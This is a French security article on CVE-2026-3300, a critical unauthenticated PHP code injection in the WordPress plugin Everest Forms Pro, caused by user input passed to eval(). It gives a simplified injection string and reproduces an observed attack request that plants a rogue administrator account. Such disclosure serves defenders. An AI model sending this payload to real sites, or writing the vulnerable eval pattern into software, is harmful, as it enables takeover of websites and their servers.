Une vulnérabilité critique a récemment été découverte dans le plugin WordPress Everest Forms Pro, un outil utilisé par environ 4 000 sites actifs pour créer et gérer des formulaires avancés. Identifiée sous le nom CVE-2026-3300, cette faille de sécurité illustre parfaitement comment une erreur de conception dans la gestion des données utilisateur peut mener à une compromission totale d’un site web.
Notée 9.8 sur 10 sur l’échelle CVSS, cette vulnérabilité permet à un attaquant non authentifié d’exécuter du code PHP arbitraire à distance, ouvrant ainsi la porte à une prise de contrôle complète du serveur.
Une vulnérabilité critique dans le moteur de calcul du plugin
Le problème se situe dans la fonctionnalité dite de “Complex Calculation”, utilisée par Everest Forms Pro pour effectuer des calculs dynamiques à partir des données soumises dans un formulaire.
Pour exécuter ces calculs, le plugin utilise la fonction PHP : eval()
Le problème est que les données envoyées par l’utilisateur sont directement insérées dans le code PHP avant d’être passées à eval().
En simplifiant :
$code = "$FIELD_1 = '$user_input'";
eval($code);
Si un utilisateur malveillant envoie :
'; malicious_code(); //
Le code devient :
$FIELD_1 = '';
malicious_code();
//';
et PHP exécute alors le code de l’attaquant.
Le plugin utilise :sanitize_text_field() ,mais cette fonction nettoie certains caractères mais n’échappe pas les apostrophes (') utilisées dans le code PHP. Les chercheurs ont découvert qu’un attaquant pouvait sortir de la chaîne de caractères puis injecter son propre code PHP. C’est ce qu’on appelle : PHP Code Injection qui mène ensuite à une : Remote Code Execution (RCE).
Exemple d’attaque observé
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
everest_forms[id]=2909&everest_forms[form_fields][svbtwqPN9R-2]=';if(!username_exists('diksimarina')){wp_insert_user(array('user_login'=>'diksimarina','user_pass'=>'[redacted]','user_email'=>'diksimarina@gmail.com','role'=>'administrator'));echo 'ADMINCREATED';}else{echo 'ADMINEXISTS';} //&everest_forms[form_fields][eluWudCcdM-1]=test&everest_forms[form_fields][email]=test&everest_forms[form_fields][rVuWSql19Q-3]=test&everest_forms[form_fields][rwkAbDLqrq-7]=test&everest_forms[form_fields][LKLn7arQDU-5]=test&action=everest_forms_ajax_form_submission&security=cd840335ff